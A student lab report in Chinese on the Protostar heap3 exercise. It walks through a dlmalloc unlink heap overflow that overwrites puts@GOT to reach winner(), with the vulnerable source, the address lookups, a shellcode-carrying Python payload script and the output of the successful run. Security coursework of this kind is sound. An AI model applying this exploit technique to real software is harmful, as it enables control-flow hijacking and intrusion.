上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Heap3

学号：522031910439　姓名：梁俊轩

2025 年 4 月 20 日

1 代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap3 的 C 语言源代码：

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}
```

2 漏洞分析

先查看 ldd 版本：

```
root@protostar:/# ldd --version
ldd (Debian EGLIBC 2.11.2-10) 2.11.2
```

```
Copyright (C) 2009 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
```

程序允许用户分配三个独立的堆块（a、b、c），并通过输入填充这些堆块。漏洞点在于对堆块的输入未做长度检查，导致堆溢出，最终目标是利用堆管理器的 unlink 操作修改全局偏移表（GOT）中的函数指针（如 puts@GOT），从而劫持程序控制流并执行任意代码。

在 dlmalloc 中，堆块的元数据包含以下字段：

prev_size：前一个堆块的大小（仅当前一个堆块空闲时有效）。

size：当前堆块的大小，最低位标记前一个堆块是否在使用中（PREV_INUSE 位）。

```
struct malloc_chunk {
  size_t prev_size;  // 前一个堆块大小（仅当空闲时有效）
  size_t size;       // 当前堆块大小 + 标志位
  struct malloc_chunk *fd;  // 前向指针（空闲块链表）
  struct malloc_chunk *bk;  // 后向指针（空闲块链表）
};
```

漏洞点: 输入到堆块 a 的数据未限制长度，可覆盖相邻堆块 b 的元数据。通过伪造 b 的 prev_size 和 size，诱使堆管理器认为 b 是一个空闲块，触发 unlink 操作时修改目标地址。

2.1 Unlink 宏的行为

当释放一个堆块时，若其前一个堆块处于空闲状态，堆管理器会尝试合并这两个堆块。合并过程中会调用 unlink 宏，从空闲链表中移除前一个堆块：

```
FD = P->fd;
BK = P->bk;
FD->bk = BK;  // 关键操作：向 FD + 12 写入 BK
BK->fd = FD;  // 关键操作：向 BK + 8 写入 FD
```

3 攻击步骤

先来看看 winner() 函数和 puts() 的地址，分别是 0x08048864 和 0x0804b128：

```
root@protostar:/opt/protostar/bin# objdump -d heap3 | grep win
08048864 <winner>:
root@protostar:/opt/protostar/bin# objdump -R heap3

heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
```

```
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap
```

0x0804b128-0xc=0x0804b11c，这个地址就是我们要填入 *fd 的地址，

我们的 shellcode 应该是:

```
shellcode = "\x68\x64\x88\x04\x08\xc3"
```

我们应该将 shellcode 放在这三个 chunk 中的一个，然后我们接下来可以通过 gdb 来查看这三个 chunk 的地址:

```
root@protostar:/opt/protostar/bin#  ltrace ./heap3 AAAAAAAA BBBBBBBB CCCCCCCC
__libc_start_main(0x8048889, 4, 0xbffffd84, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffffc4c)                                  = 4096
sbrk(4096)                                                                          = 0x0804c000
sbrk(0)                                                                             = 0x0804d000
strcpy(0x0804c008, "AAAAAAAA")                                                      = 0x0804c008
strcpy(0x0804c030, "BBBBBBBB")                                                      = 0x0804c030
strcpy(0x0804c058, "CCCCCCCC")                                                      = 0x0804c058
puts("dynamite failed?"dynamite failed?
)                                                                          = 17
+++ exited (status 17) +++
```

我们将 shellcode 放在 a 中，b 中放 puts@got-12 的地址和 shellcode 的地址，c 不参与攻击。

```
shellcode = "\x68\x64\x88\x04\x08\xc3"
a = "A" * 4
a += shellcode
a += "A" * 22
a += "\xf8\xff\xff\xff"
a += "\xfc\xff\xff\xff"
b = "A" * 8
b += "\x1c\xb1\x04\x08"
b += "\x0c\xc0\x04\x08"
c = "CCCC"
print a + " " + b + " " + c
```

最后可以看到成功攻击

```
root@protostar:/opt/protostar/bin# ./heap3 `python h3.py`
that wasn't too bad now, was it? @ 1745154507
root@protostar:/opt/protostar/bin#
```

图 1 攻击结果